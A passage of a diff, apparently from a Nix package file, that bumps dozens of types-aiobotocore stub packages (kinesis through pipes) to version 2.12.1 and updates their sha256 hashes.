types-aiobotocore-kinesis = buildTypesAiobotocorePackage "kinesis" "2.11.2" "sha256-yybY1DIO68QDlsFwly6tvdf7FfFTIVWYgSKYVfL2jxw="; + types-aiobotocore-kinesis = buildTypesAiobotocorePackage "kinesis" "2.12.1" "sha256-J7U0j1XJB2ikTT1IfLcxltTczzqWDkmTP/8I/QIdvlE="; - types-aiobotocore-kinesis-video-archived-media = buildTypesAiobotocorePackage "kinesis-video-archived-media" "2.11.2" "sha256-RV9DyGgCrTfP0f6MxJFyqzWlKDqyewB3M/EM/m9og/Q="; + types-aiobotocore-kinesis-video-archived-media = buildTypesAiobotocorePackage "kinesis-video-archived-media" "2.12.1" "sha256-y7ALdUdp9fTc2b2hVtufJATcm8c8YjbR/fEnX5ynbX4="; - types-aiobotocore-kinesis-video-media = buildTypesAiobotocorePackage "kinesis-video-media" "2.11.2" "sha256-lV6aNCvVNULd5foNDHpIdR+9XshDlDPtM3YN4P0c4Q4="; + types-aiobotocore-kinesis-video-media = buildTypesAiobotocorePackage "kinesis-video-media" "2.12.1" "sha256-jKMh2sbz1kIuKmx6qZYj+ZhMTaAORLux+X6oVrno8Fk="; - types-aiobotocore-kinesis-video-signaling = buildTypesAiobotocorePackage "kinesis-video-signaling" "2.11.2" "sha256-KsKInDsGfipueDGMmPmQKoeG6DYK8e9FpgrrO7pPwNY="; + types-aiobotocore-kinesis-video-signaling = buildTypesAiobotocorePackage "kinesis-video-signaling" "2.12.1" "sha256-DrZHSwqfQZ+mn5wmuWR3MbjolGkOg7mmnKr5uI/NGWo="; - types-aiobotocore-kinesis-video-webrtc-storage = buildTypesAiobotocorePackage "kinesis-video-webrtc-storage" "2.11.2" "sha256-B3V1ho4oPas9UD6YCDpUl3if69dJlTRSxSLzHPa6Ias="; + types-aiobotocore-kinesis-video-webrtc-storage = buildTypesAiobotocorePackage "kinesis-video-webrtc-storage" "2.12.1" "sha256-38R/9LUDMvNhAXmEA2sMR4KE+jB6O0hHJLaowPEnlMQ="; - types-aiobotocore-kinesisanalytics = buildTypesAiobotocorePackage "kinesisanalytics" "2.11.2" "sha256-32uEJswxpS4CptKIV7vBZD6DjzlSuhptNfULE9Fcikk="; + types-aiobotocore-kinesisanalytics = buildTypesAiobotocorePackage "kinesisanalytics" "2.12.1" "sha256-LnyZhLCGcN0Qbam0x+ALYGZlYky/ldLUg03bxRlyhf8="; - types-aiobotocore-kinesisanalyticsv2 = buildTypesAiobotocorePackage "kinesisanalyticsv2" "2.11.2" "sha256-R/s7CD1hAlNsvmMe7PCzZL9xIV8O21lZgMXtzqib0IQ="; + types-aiobotocore-kinesisanalyticsv2 = buildTypesAiobotocorePackage "kinesisanalyticsv2" "2.12.1" "sha256-giSsTelOj3/bF5uPHx6WJhdKtqL6QljcU3l+Tp7aR4k="; - types-aiobotocore-kinesisvideo = buildTypesAiobotocorePackage "kinesisvideo" "2.11.2" "sha256-nRRSzjYxQDFvfD4fuTWl+LfyPg5RoNHg8loGDxzVVrk="; + types-aiobotocore-kinesisvideo = buildTypesAiobotocorePackage "kinesisvideo" "2.12.1" "sha256-lmaTXcxKgevwoWJeUxTHmynCcZaIHXmnJjjvFAARLJw="; - types-aiobotocore-kms = buildTypesAiobotocorePackage "kms" "2.11.2" "sha256-e9y0ZjEzAr41xE2jSc5xCeftDK7EEg/SKqkgWkkMeRE="; + types-aiobotocore-kms = buildTypesAiobotocorePackage "kms" "2.12.1" "sha256-vonZnhR5Rh2ZVlXlBTuSfE6ipVliGKMIdhBAV6pl1NU="; - types-aiobotocore-lakeformation = buildTypesAiobotocorePackage "lakeformation" "2.11.2" "sha256-XX3f+pw03ft13aRml7ublI72AjbVm8XlgcF4WLaT8UA="; + types-aiobotocore-lakeformation = buildTypesAiobotocorePackage "lakeformation" "2.12.1" "sha256-IFFB7sUhrW46nrmQR/bSRTjVye+3C3eGQCrpe3jNVxs="; - types-aiobotocore-lambda = buildTypesAiobotocorePackage "lambda" "2.11.2" "sha256-b0QPtSWITrvIrQdpcFb7m5EEbgyyX1UaE36Ds2UzieY="; + types-aiobotocore-lambda = buildTypesAiobotocorePackage "lambda" "2.12.1" "sha256-A1oS/awripZCCFwwP3bpPt8xAn8MKHBd4Y7nDG9Beo0="; - types-aiobotocore-lex-models = buildTypesAiobotocorePackage "lex-models" "2.11.2" "sha256-oLe70GFx6BJosKfgrFzde8G3gd3Tb9mLRKy45gx4s8U="; + types-aiobotocore-lex-models = buildTypesAiobotocorePackage "lex-models" "2.12.1" "sha256-W8xa7bl2wYS3SY6rZk7T65UvwntxCY9OHKKtVaDUMq8="; - types-aiobotocore-lex-runtime = buildTypesAiobotocorePackage "lex-runtime" "2.11.2" "sha256-JfipFKHOk7w2iGmey0MxSGW1QFDdNY1ArptnNc4nR70="; + types-aiobotocore-lex-runtime = buildTypesAiobotocorePackage "lex-runtime" "2.12.1" "sha256-IODLqqjC6UXTkT980S+drXqhnkNWH2ejzVWeo1LE45U="; - types-aiobotocore-lexv2-models = buildTypesAiobotocorePackage "lexv2-models" "2.11.2" "sha256-sQ1liyCEjK8+QJYF5e3FFbPNWKfmGFV3QOv2lNZ4rR4="; + types-aiobotocore-lexv2-models = buildTypesAiobotocorePackage "lexv2-models" "2.12.1" "sha256-Jf2MQbBanDZetFUVH/5CVMYDzzBN7Th8K6RVUWkYaQc="; - types-aiobotocore-lexv2-runtime = buildTypesAiobotocorePackage "lexv2-runtime" "2.11.2" "sha256-LV9yyj5NsgRCSs+jQ2sNaEWuUKluLB00dtuKfzR+Cn0="; + types-aiobotocore-lexv2-runtime = buildTypesAiobotocorePackage "lexv2-runtime" "2.12.1" "sha256-jAsyQqIj3YXfEa6q/cZIPIjal+3YJqts6N13I5O+kHw="; - types-aiobotocore-license-manager = buildTypesAiobotocorePackage "license-manager" "2.11.2" "sha256-9mNtD4FE3PQ6DNAhH8IcVSmlP9iDgswweWJ6m9sSxLo="; + types-aiobotocore-license-manager = buildTypesAiobotocorePackage "license-manager" "2.12.1" "sha256-AWe9VEJxap7+tL0flZqs2/SQemIzGKXJXWxx1ScLtC8="; - types-aiobotocore-license-manager-linux-subscriptions = buildTypesAiobotocorePackage "license-manager-linux-subscriptions" "2.11.2" "sha256-DmYp2EEdSip+CNQw2mF27NftTcl/RCStoJUIUE98kZ4="; + types-aiobotocore-license-manager-linux-subscriptions = buildTypesAiobotocorePackage "license-manager-linux-subscriptions" "2.12.1" "sha256-0HhhZH3OBYQBK1q9RyqJqCBmINMzgZfj20iFVmPYMac="; - types-aiobotocore-license-manager-user-subscriptions = buildTypesAiobotocorePackage "license-manager-user-subscriptions" "2.11.2" "sha256-WWeTc1oPQc/BGve6ulckgoE6Un2VsEQO+jZ9Vn1YN1M="; + types-aiobotocore-license-manager-user-subscriptions = buildTypesAiobotocorePackage "license-manager-user-subscriptions" "2.12.1" "sha256-K7KXzCtdGS6ok79zNDxx9PxXPNbNPsp6fuucT/Us2/M="; - types-aiobotocore-lightsail = buildTypesAiobotocorePackage "lightsail" "2.11.2" "sha256-o2DSZMBf7SUboQRa+j3w9XX97B1V+IrKe4lcYTTbKqU="; + types-aiobotocore-lightsail = buildTypesAiobotocorePackage "lightsail" "2.12.1" "sha256-lRlifiUJCGbVkf0wVdrXQiwoOvQPqrXrvzl/4BqXpsM="; - types-aiobotocore-location = buildTypesAiobotocorePackage "location" "2.11.2" "sha256-2qLEPAx24yVox+WzM1F+TgrMHUICh/u52CrIkan4jKw="; + types-aiobotocore-location = buildTypesAiobotocorePackage "location" "2.12.1" "sha256-j+UcTL5YYpI5eCmWq1durTCIwuc0U94udfgNUCAgR9A="; - types-aiobotocore-logs = buildTypesAiobotocorePackage "logs" "2.11.2" "sha256-kMT5kfYjkuEOYqEGgJSPrT2zA0SRwR7ozROrK/auyWI="; + types-aiobotocore-logs = buildTypesAiobotocorePackage "logs" "2.12.1" "sha256-CqByIbfkIeROXAFWvjS9pwPImo2dD10q1/7kTR5GA9w="; - types-aiobotocore-lookoutequipment = buildTypesAiobotocorePackage "lookoutequipment" "2.11.2" "sha256-tkgaimET3g+IYEPa07877wIkTRl6qg85ppcWttRunKU="; + types-aiobotocore-lookoutequipment = buildTypesAiobotocorePackage "lookoutequipment" "2.12.1" "sha256-++dMJ+uFbNkbRVKbMP3URxlKRj9pm6Je6+iQTAs3vqU="; - types-aiobotocore-lookoutmetrics = buildTypesAiobotocorePackage "lookoutmetrics" "2.11.2" "sha256-Ck43tu6SnKPtQW3+6WClcf8rLGF8jS7vg4N/VeeWcDM="; + types-aiobotocore-lookoutmetrics = buildTypesAiobotocorePackage "lookoutmetrics" "2.12.1" "sha256-rInxd7NLuze5qs4fV47PmnptYPKyj/IwrHhrND/ufgw="; - types-aiobotocore-lookoutvision = buildTypesAiobotocorePackage "lookoutvision" "2.11.2" "sha256-0MOrWtTHMUf4HPbM/Fi8JtWSD+UqXFg3zQNwFbhmydI="; + types-aiobotocore-lookoutvision = buildTypesAiobotocorePackage "lookoutvision" "2.12.1" "sha256-HOVBuDQoYpTCfie8GyyyrTY09OwXW8JvzO6eJJxQncI="; - types-aiobotocore-m2 = buildTypesAiobotocorePackage "m2" "2.11.2" "sha256-q3oYdCaMzvZ/FYkldC0DbzAHscuAGTq8WyAQwZlCNso="; + types-aiobotocore-m2 = buildTypesAiobotocorePackage "m2" "2.12.1" "sha256-e8jfy4ilPA0NLZMeP6zkrPhkGqLXKBX2bDSfu+bLpPY="; - types-aiobotocore-machinelearning = buildTypesAiobotocorePackage "machinelearning" "2.11.2" "sha256-CKCC7W5h6qKv3Zya/e+WcVoWdOtCqoWKRlJFHSTdxaI="; + types-aiobotocore-machinelearning = buildTypesAiobotocorePackage "machinelearning" "2.12.1" "sha256-A++bU7yYnFfL7FmAHqh6906dJb3YusAWBr9lHk7l608="; - types-aiobotocore-macie = buildTypesAiobotocorePackage "macie" "2.6.0" "sha256-gbl7jEgjk4twoxGM+WRg4MZ/nkGg7btiPOsPptR7yfw="; + types-aiobotocore-macie = buildTypesAiobotocorePackage "macie" "2.7.0" "sha256-hJJtGsK2b56nKX1ZhiarC+ffyjHYWRiC8II4oyDZWWw="; - types-aiobotocore-macie2 = buildTypesAiobotocorePackage "macie2" "2.11.2" "sha256-zg/QhW+4Chugyg6rG5HtrE1GAhbWUaveJpaJFemoN94="; + types-aiobotocore-macie2 = buildTypesAiobotocorePackage "macie2" "2.12.1" "sha256-Cm8DEoGP6TwqvJcU4+JiYwkYKQP3GGKyAVY95lSUHmY="; - types-aiobotocore-managedblockchain = buildTypesAiobotocorePackage "managedblockchain" "2.11.2" "sha256-jGl4I2voUUW0+OuEiqmB/MEHaMMlaaKHkKzod2r4d+E="; + types-aiobotocore-managedblockchain = buildTypesAiobotocorePackage "managedblockchain" "2.12.1" "sha256-PWM8WIxLZTjGch2Mhu9n0v0x63fGK0J6XcL8U0MXEMs="; - types-aiobotocore-managedblockchain-query = buildTypesAiobotocorePackage "managedblockchain-query" "2.11.2" "sha256-E0jvEhS96gCpV8uIUySP4EmxsFBnS8A4DOM0rOEtNHs="; + types-aiobotocore-managedblockchain-query = buildTypesAiobotocorePackage "managedblockchain-query" "2.12.1" "sha256-7sCnI6B/QM7AcB2iEDCSNKRgIcFCUyJct2Jg/KoQk64="; - types-aiobotocore-marketplace-catalog = buildTypesAiobotocorePackage "marketplace-catalog" "2.11.2" "sha256-ASsMuZQJlYkEFGwMByXHNlxyJVjjMWSkzOBG2l77AyA="; + types-aiobotocore-marketplace-catalog = buildTypesAiobotocorePackage "marketplace-catalog" "2.12.1" "sha256-ho34PTQaL4POvic2Nzy+fuCYanrXGOXN9Jf+qd+dMX4="; - types-aiobotocore-marketplace-entitlement = buildTypesAiobotocorePackage "marketplace-entitlement" "2.11.2" "sha256-AxS9uLbEut6+4PLuLBB9ddb/6aPWCzBQBG2XyJW6VRA="; + types-aiobotocore-marketplace-entitlement = buildTypesAiobotocorePackage "marketplace-entitlement" "2.12.1" "sha256-pdRHgmA3ul+2ww+hOO2TTs7brvMAXZXM7QQTqTWfDz4="; - types-aiobotocore-marketplacecommerceanalytics = buildTypesAiobotocorePackage "marketplacecommerceanalytics" "2.11.2" "sha256-SgmAl7uy4YUqMwGWbt+vjjAhggfzzVXy14eZuowl8Q0="; + types-aiobotocore-marketplacecommerceanalytics = buildTypesAiobotocorePackage "marketplacecommerceanalytics" "2.12.1" "sha256-rXnL667PBKx5IxK3YJzJiWN8wFlDvz09RjaIMrVIyZo="; - types-aiobotocore-mediaconnect = buildTypesAiobotocorePackage "mediaconnect" "2.11.2" "sha256-P+HWJ/nEkeccqTNk8AotPjSXvHW2gahfhfI5hDeXnOs="; + types-aiobotocore-mediaconnect = buildTypesAiobotocorePackage "mediaconnect" "2.12.1" "sha256-bm/2aSToVTIaxBs0i/v4As2mX4vK81RqZIjzgrQYP+g="; - types-aiobotocore-mediaconvert = buildTypesAiobotocorePackage "mediaconvert" "2.11.2" "sha256-Umk+VdPTQSp4VmEqfCdDwU1coJaMU/+tGgi/bjgb0xw="; + types-aiobotocore-mediaconvert = buildTypesAiobotocorePackage "mediaconvert" "2.12.1" "sha256-52088rNi5Vuf0CuDU2LdXV4ZSoWaHqBeTD42DOEmDTs="; - types-aiobotocore-medialive = buildTypesAiobotocorePackage "medialive" "2.11.2" "sha256-/afargcEN7hB5DajP4EL+juei59/rLQp+XKm1N9QEbA="; + types-aiobotocore-medialive = buildTypesAiobotocorePackage "medialive" "2.12.1" "sha256-/B3qy79nPiz8Xo5KxJKDnUKo6PclE/pXrkjSJmlcz9I="; - types-aiobotocore-mediapackage = buildTypesAiobotocorePackage "mediapackage" "2.11.2" "sha256-sAxc6wjEXz5zqq6iDatNbWH+cYQkP7RMMAgnTR35Hdg="; + types-aiobotocore-mediapackage = buildTypesAiobotocorePackage "mediapackage" "2.12.1" "sha256-a3qTy0sS8J8iEBvcPCXAC2lSLuuhEbslLork1HaHrF8="; - types-aiobotocore-mediapackage-vod = buildTypesAiobotocorePackage "mediapackage-vod" "2.11.2" "sha256-qjfONLIXIeXfZForb5PBEZBK1CpWAvkTMy2hqMJIZQA="; + types-aiobotocore-mediapackage-vod = buildTypesAiobotocorePackage "mediapackage-vod" "2.12.1" "sha256-4jyIrHer52rwi0ry9uBhMPm2YbzEWqhiHaSPqHfFr98="; - types-aiobotocore-mediapackagev2 = buildTypesAiobotocorePackage "mediapackagev2" "2.11.2" "sha256-QBDIxGZ4ZP4CN9VpV0UhE0PYWnF2L+FRk61qLfLNDj4="; + types-aiobotocore-mediapackagev2 = buildTypesAiobotocorePackage "mediapackagev2" "2.12.1" "sha256-KOFEpAVUnaN607soHl7SCq79KU/qS/ab/GGH9QEQJ4Y="; - types-aiobotocore-mediastore = buildTypesAiobotocorePackage "mediastore" "2.11.2" "sha256-jPWj2lyMNpEhJwWYosvYPA6g4b8RjHvLyCJ+545suKc="; + types-aiobotocore-mediastore = buildTypesAiobotocorePackage "mediastore" "2.12.1" "sha256-A4V8LMaloeRlOBNIEI43I4Rkyl2NllwB87XJVy9KDGo="; - types-aiobotocore-mediastore-data = buildTypesAiobotocorePackage "mediastore-data" "2.11.2" "sha256-dwEipFOs4xkkegGVtNysoTLsVfal7ysR2zAJ7ehXQYw="; + types-aiobotocore-mediastore-data = buildTypesAiobotocorePackage "mediastore-data" "2.12.1" "sha256-tXvQxnQSShN4gVQunAhmKEQztuJfJpxxvhXTh3kXyKA="; - types-aiobotocore-mediatailor = buildTypesAiobotocorePackage "mediatailor" "2.11.2" "sha256-LF9iBh/e3Ac54ampStAudt5cqbarnhWupRR1+A300xc="; + types-aiobotocore-mediatailor = buildTypesAiobotocorePackage "mediatailor" "2.12.1" "sha256-7FvUjBLyNRBZOApbvurtXt0exH9htacmJq9exlGBDMg="; - types-aiobotocore-medical-imaging = buildTypesAiobotocorePackage "medical-imaging" "2.11.2" "sha256-aYViyNpTZ66Ow2Vymcqc/Fs6ESvl/U61eEpYmozaK+Q="; + types-aiobotocore-medical-imaging = buildTypesAiobotocorePackage "medical-imaging" "2.12.1" "sha256-NVA0xf98DhJXfzNdLu42lV+ilO8gz2ZRt/Kxk68GP9I="; - types-aiobotocore-memorydb = buildTypesAiobotocorePackage "memorydb" "2.11.2" "sha256-EcqRC07VonREJAnEQAuM0D6pewJd1wPpIHQh/oEGICg="; + types-aiobotocore-memorydb = buildTypesAiobotocorePackage "memorydb" "2.12.1" "sha256-hn/83GWPAn6UL8Ez+L/mdiGPy0ycFvNDcLcEvAd/+a8="; - types-aiobotocore-meteringmarketplace = buildTypesAiobotocorePackage "meteringmarketplace" "2.11.2" "sha256-B7Ls8R45clgh2OnBfLtYV49pzwCKs+tGVUPa298U51A="; + types-aiobotocore-meteringmarketplace = buildTypesAiobotocorePackage "meteringmarketplace" "2.12.1" "sha256-SNGrScKSyEp35Aq+vs+uXk67ab0M1tjwkOuO/mmgrtY="; - types-aiobotocore-mgh = buildTypesAiobotocorePackage "mgh" "2.11.2" "sha256-/6NysP2UP5gttr4CE0dr38ictulCYUnzbv/3owe/8Ww="; + types-aiobotocore-mgh = buildTypesAiobotocorePackage "mgh" "2.12.1" "sha256-lbmcxyFquZmbFEmQbmIY6lqdJmukR1dLkH9CgS52MQM="; - types-aiobotocore-mgn = buildTypesAiobotocorePackage "mgn" "2.11.2" "sha256-sOHVNzltGlxz4FZR0DVoGJVo6Ga8+UMW4owsaubVCPA="; + types-aiobotocore-mgn = buildTypesAiobotocorePackage "mgn" "2.12.1" "sha256-NNjPCZxxV3Nx0+2OTV93SLN3AM6wF2Uqq8BNaWm2dVk="; - types-aiobotocore-migration-hub-refactor-spaces = buildTypesAiobotocorePackage "migration-hub-refactor-spaces" "2.11.2" "sha256-A8aLuBH4xtvpOjlLTBy5iPHiub9P1plbZWjCGke/WzA="; + types-aiobotocore-migration-hub-refactor-spaces = buildTypesAiobotocorePackage "migration-hub-refactor-spaces" "2.12.1" "sha256-eHH4V6svWNwjD9StyvyxTZ4DTwVsBX0VU65mTcKMZ7k="; - types-aiobotocore-migrationhub-config = buildTypesAiobotocorePackage "migrationhub-config" "2.11.2" "sha256-spHl1upjr2r1a8DG5XBRnmaowpOYFtnpMLGtoEakwO8="; + types-aiobotocore-migrationhub-config = buildTypesAiobotocorePackage "migrationhub-config" "2.12.1" "sha256-rMCfG8GrTGzFBPE6oS+2DSZ7rD2XW1weGImOO85nDP4="; - types-aiobotocore-migrationhuborchestrator = buildTypesAiobotocorePackage "migrationhuborchestrator" "2.11.2" "sha256-SgIGw/aiY0VGJtVdmg/b5FZhmhaSqUHJ4/BfqShnRDo="; + types-aiobotocore-migrationhuborchestrator = buildTypesAiobotocorePackage "migrationhuborchestrator" "2.12.1" "sha256-uGWiICcRZzVCCKPmWwqV0JoytgeVFcJexgLcUE64PCM="; - types-aiobotocore-migrationhubstrategy = buildTypesAiobotocorePackage "migrationhubstrategy" "2.11.2" "sha256-DhuUTGNVKB0jHd+MJ3valcCQSL5sKJlMtUP56aVqkkk="; + types-aiobotocore-migrationhubstrategy = buildTypesAiobotocorePackage "migrationhubstrategy" "2.12.1" "sha256-wcN2fJO1BrHJiItDkqIxvvWwnzFIw9YQCQYKfbfi4Xc="; - types-aiobotocore-mobile = buildTypesAiobotocorePackage "mobile" "2.11.2" "sha256-fJp9LXYqauvrxIa6i0208JRm3CuTpzV4rvYmYTXH7os="; + types-aiobotocore-mobile = buildTypesAiobotocorePackage "mobile" "2.12.1" "sha256-p5uySMWHaMLvdFP4qlWySsUByqw/8YrYAkJSWdLC4B4="; - types-aiobotocore-mq = buildTypesAiobotocorePackage "mq" "2.11.2" "sha256-UtnqvuB42ZdW9Pl4dKDC8Y+OfXe1pULa2TGWPh2BvDM="; + types-aiobotocore-mq = buildTypesAiobotocorePackage "mq" "2.12.1" "sha256-RI5nNpGCl4jXeAla990a6R5+YH+IyR9dpkxbSrI30dM="; - types-aiobotocore-mturk = buildTypesAiobotocorePackage "mturk" "2.11.2" "sha256-6+O/r6fNyT1jm/3088WnUmy/lLeoSUp3XzhvhqbD9Yo="; + types-aiobotocore-mturk = buildTypesAiobotocorePackage "mturk" "2.12.1" "sha256-VHQSTVDau/EDXslby+ZFsBqDd5iPM7jlZ4SNsr1fh2Y="; - types-aiobotocore-mwaa = buildTypesAiobotocorePackage "mwaa" "2.11.2" "sha256-nnvnvNlI0d9eY6BK+fM0HK9+cBDStuwl11AlK5lRw8g="; + types-aiobotocore-mwaa = buildTypesAiobotocorePackage "mwaa" "2.12.1" "sha256-CX58a5H9pYhMlXqf9hx2HRmqYUInLBmfEhX6/VqYG64="; - types-aiobotocore-neptune = buildTypesAiobotocorePackage "neptune" "2.11.2" "sha256-1aFyIW+UZv6jxDRn8ry6gIrLMJbgaYKVKlkIOAGWRHE="; + types-aiobotocore-neptune = buildTypesAiobotocorePackage "neptune" "2.12.1" "sha256-RdCi4jseTuX11ZqNdvnH6Lral68aVKE9xehhhinCE6M="; - types-aiobotocore-network-firewall = buildTypesAiobotocorePackage "network-firewall" "2.11.2" "sha256-MhxCre5EDkm9EOtNdPLqTckeazZJcTmbZ2r8soQA+Jc="; + types-aiobotocore-network-firewall = buildTypesAiobotocorePackage "network-firewall" "2.12.1" "sha256-1xujtFAG0Jh65Ds6MrgY0Tw4KyYMRFbll30t0S+Pc2g="; - types-aiobotocore-networkmanager = buildTypesAiobotocorePackage "networkmanager" "2.11.2" "sha256-6aVK9lzDYgLCqy0cwp0ORJn0BT9cSk4NEJayxOjF7ZI="; + types-aiobotocore-networkmanager = buildTypesAiobotocorePackage "networkmanager" "2.12.1" "sha256-1nBKGtnU7PaZXhsrwBZbJfwGdbi5FPFwszIXxmw/HGg="; - types-aiobotocore-nimble = buildTypesAiobotocorePackage "nimble" "2.11.2" "sha256-QbM+B7Tfvcs/ve35QzymZKVnWhtB7oFiwI6lloQLxVY="; + types-aiobotocore-nimble = buildTypesAiobotocorePackage "nimble" "2.12.1" "sha256-zLrnjFSKA53wgxsStGQfLqogX5u2l58kdzOFTTgelQA="; - types-aiobotocore-oam = buildTypesAiobotocorePackage "oam" "2.11.2" "sha256-lVM/HoERd7xawMrVIzHYUDnc+qymMSloqcFRh+u7mjU="; + types-aiobotocore-oam = buildTypesAiobotocorePackage "oam" "2.12.1" "sha256-Ujm2i+dRU3STj+A58KZS/Ypkod36JpWlXvAKO/NLErs="; - types-aiobotocore-omics = buildTypesAiobotocorePackage "omics" "2.11.2" "sha256-r81zJzAsRFSpJRkZwWvN5hYj0S/JEuUFuCrNJO8kwlc="; + types-aiobotocore-omics = buildTypesAiobotocorePackage "omics" "2.12.1" "sha256-uMef3Qrh+H631nsOsy7OEB4zeETR707ld6Jz6NjWwL8="; - types-aiobotocore-opensearch = buildTypesAiobotocorePackage "opensearch" "2.11.2" "sha256-zFrWBgOmagE6CtdQfSOZTgoKAJHmCsa0tcOrGbO6T60="; + types-aiobotocore-opensearch = buildTypesAiobotocorePackage "opensearch" "2.12.1" "sha256-kSnMbexNutPYHJfj4qgbFR3mhOU3rWputXUhBu7rFeo="; - types-aiobotocore-opensearchserverless = buildTypesAiobotocorePackage "opensearchserverless" "2.11.2" "sha256-JrtkoMlkuM9KiJMWRxTyFw/9usEjOO2Z1qYc4SsDOtM="; + types-aiobotocore-opensearchserverless = buildTypesAiobotocorePackage "opensearchserverless" "2.12.1" "sha256-N5vfHByujicDNnRiXIWkudjivmPoNeEpsnZYeX18Uok="; - types-aiobotocore-opsworks = buildTypesAiobotocorePackage "opsworks" "2.11.2" "sha256-z7kEjYPPi5CQ/cWIm06bOuwCf/0lU7/9Wv6FK5TxIDk="; + types-aiobotocore-opsworks = buildTypesAiobotocorePackage "opsworks" "2.12.1" "sha256-7R8AtGb0Gt6XfWBUYSjudRUGRGF2tp9Ey3Bqh6LJ7wM="; - types-aiobotocore-opsworkscm = buildTypesAiobotocorePackage "opsworkscm" "2.11.2" "sha256-34u790+vU+yqsAFh2P0lV6zASqCAl776l8a+a9iVucw="; + types-aiobotocore-opsworkscm = buildTypesAiobotocorePackage "opsworkscm" "2.12.1" "sha256-5N/yQdfPTdJTkF2Yo0szvLK7tHYBALqahIbTwG2YSFM="; - types-aiobotocore-organizations = buildTypesAiobotocorePackage "organizations" "2.11.2" "sha256-coo7Pv1DaAh+d1594EK+kQV+Fm423zIYaotG+Te8JN8="; + types-aiobotocore-organizations = buildTypesAiobotocorePackage "organizations" "2.12.1" "sha256-CEEKhdfh//GBT9pbOqu3pxCg0iy83LBy172FmVWbnK8="; - types-aiobotocore-osis = buildTypesAiobotocorePackage "osis" "2.11.2" "sha256-1pqghG7TZeT7FwT8nCQfQnKpiKgovfv4zpjAAgYnxeM="; + types-aiobotocore-osis = buildTypesAiobotocorePackage "osis" "2.12.1" "sha256-IRo94LgBBk4sawgE9fpySggeG6EjmyLRf7cHLzIYcBo="; - types-aiobotocore-outposts = buildTypesAiobotocorePackage "outposts" "2.11.2" "sha256-Rcz9n5/L5B/BPiUiJp2rsqfElU6o6n24d/ja+w+n1aY="; + types-aiobotocore-outposts = buildTypesAiobotocorePackage "outposts" "2.12.1" "sha256-PXACndLusmvG0cYQESek4mr/k376seaNia4x0KqufBk="; - types-aiobotocore-panorama = buildTypesAiobotocorePackage "panorama" "2.11.2" "sha256-P3HlDSCLDzmdq9bEvcM0c7YDdZu0S6smXJejCkjSvF8="; + types-aiobotocore-panorama = buildTypesAiobotocorePackage "panorama" "2.12.1" "sha256-58uOgEi1MyxZU4rRG8WO2IEUq7YWG2nIgQwcPQG770o="; - types-aiobotocore-payment-cryptography = buildTypesAiobotocorePackage "payment-cryptography" "2.11.2" "sha256-tHh5VCmz7dE5dOQPwQtwF1yrG7iPLO3LJCEXcxi1N4M="; + types-aiobotocore-payment-cryptography = buildTypesAiobotocorePackage "payment-cryptography" "2.12.1" "sha256-dOUHOX72DzvICM0jPPZueDkvasPRp01JwubfeaUSqWk="; - types-aiobotocore-payment-cryptography-data = buildTypesAiobotocorePackage "payment-cryptography-data" "2.11.2" "sha256-opL4WsHUD7VSMrFguX7LKD8rzuncTMnn9KU45AgYoKk="; + types-aiobotocore-payment-cryptography-data = buildTypesAiobotocorePackage "payment-cryptography-data" "2.12.1" "sha256-qK5LnCwuiMJB1s5T1ncVOF45q5VILHO5SHhpCD5G0kk="; - types-aiobotocore-personalize = buildTypesAiobotocorePackage "personalize" "2.11.2" "sha256-yv6GvZxxzKoquIqE3lu/xpfYxB9QvKEipmKk4YM2jec="; + types-aiobotocore-personalize = buildTypesAiobotocorePackage "personalize" "2.12.1" "sha256-p94/gqPE0V5HRmC+bSqx5yGg6hyVYJE1w9lGwruONX8="; - types-aiobotocore-personalize-events = buildTypesAiobotocorePackage "personalize-events" "2.11.2" "sha256-Dc6z1uAWiVPyiN0ecX4br07bKdojmeo0MC7c3re1hyM="; + types-aiobotocore-personalize-events = buildTypesAiobotocorePackage "personalize-events" "2.12.1" "sha256-GsyLDjpZvGnf8dAWB+ibT0ZuRts2WU8P3fQ2i2Wwjn4="; - types-aiobotocore-personalize-runtime = buildTypesAiobotocorePackage "personalize-runtime" "2.11.2" "sha256-niY0fPGHHWpAPOffgjEWRttS43Kw4uxkcTy5xEmaPPc="; + types-aiobotocore-personalize-runtime = buildTypesAiobotocorePackage "personalize-runtime" "2.12.1" "sha256-Oq7DFo4Xi7a7naEflLlPDaR2zpFv1/cKjMsQfAMshT8="; - types-aiobotocore-pi = buildTypesAiobotocorePackage "pi" "2.11.2" "sha256-I79oOBYzQ35mrD9ZkwZo9yFKkvOVg5MHg1/qsWBs1hA="; + types-aiobotocore-pi = buildTypesAiobotocorePackage "pi" "2.12.1" "sha256-RyvXuiebtNWG49SBbKmwFYRKxd6Ba/UKNphCxZ3XhVQ="; - types-aiobotocore-pinpoint = buildTypesAiobotocorePackage "pinpoint" "2.11.2" "sha256-Id0RR3EWaGZIMMaA1CSKwtX4hPQNvYIo04lCjzGbLno="; + types-aiobotocore-pinpoint = buildTypesAiobotocorePackage "pinpoint" "2.12.1" "sha256-UWnbgABQfwd2rUz952iFMh1QPdEchzgw/aeggi/+/9A="; - types-aiobotocore-pinpoint-email = buildTypesAiobotocorePackage "pinpoint-email" "2.11.2" "sha256-TDRjuFHP/6MSNUwO0q9mgxXw4GAjYeEAEwcGf0a+q3U="; + types-aiobotocore-pinpoint-email = buildTypesAiobotocorePackage "pinpoint-email" "2.12.1" "sha256-WinsN8jm/Ua0iYhMS5FAHlELJYbpfH8TRzRJEcQGevc="; - types-aiobotocore-pinpoint-sms-voice = buildTypesAiobotocorePackage "pinpoint-sms-voice" "2.11.2" "sha256-GUDNq34JKrR6F1uzGvrINNEvZf75c6hrtcVJ4ishQ1E="; + types-aiobotocore-pinpoint-sms-voice = buildTypesAiobotocorePackage "pinpoint-sms-voice" "2.12.1" "sha256-OcP5l7Xc8AIY9c9/Cx3a6JzNFu3kC0+pH5/TzNjgbqQ="; - types-aiobotocore-pinpoint-sms-voice-v2 = buildTypesAiobotocorePackage "pinpoint-sms-voice-v2" "2.11.2" "sha256-P59HWAaJrCKpwyY6kdyd4XHHRhmd2DxafY5Ytu5d8Ow="; + types-aiobotocore-pinpoint-sms-voice-v2 = buildTypesAiobotocorePackage "pinpoint-sms-voice-v2" "2.12.1" "sha256-9uVmiRlhT66EYFgoImQa7uLhX8HvvO4mo6wW1dwUkmk="; - types-aiobotocore-pipes = buildTypesAiobotocorePackage "pipes" "2.11.2" "sha256-BBZWoO4sWWSSJOf1MnMF9KrtGKTc+h8yuIjlnx0iIBE="; + types-aiobotocore-pipes = buildTypesAiobotocorePackage "pipes" "2.12.1" "sha256-T5ggvFxgi2rWsOw+vArGx9zVLmGZxB4fsZ+GIz6X13U="; - types-aiobotocore-polly = buildTypesAiobotocorePackage 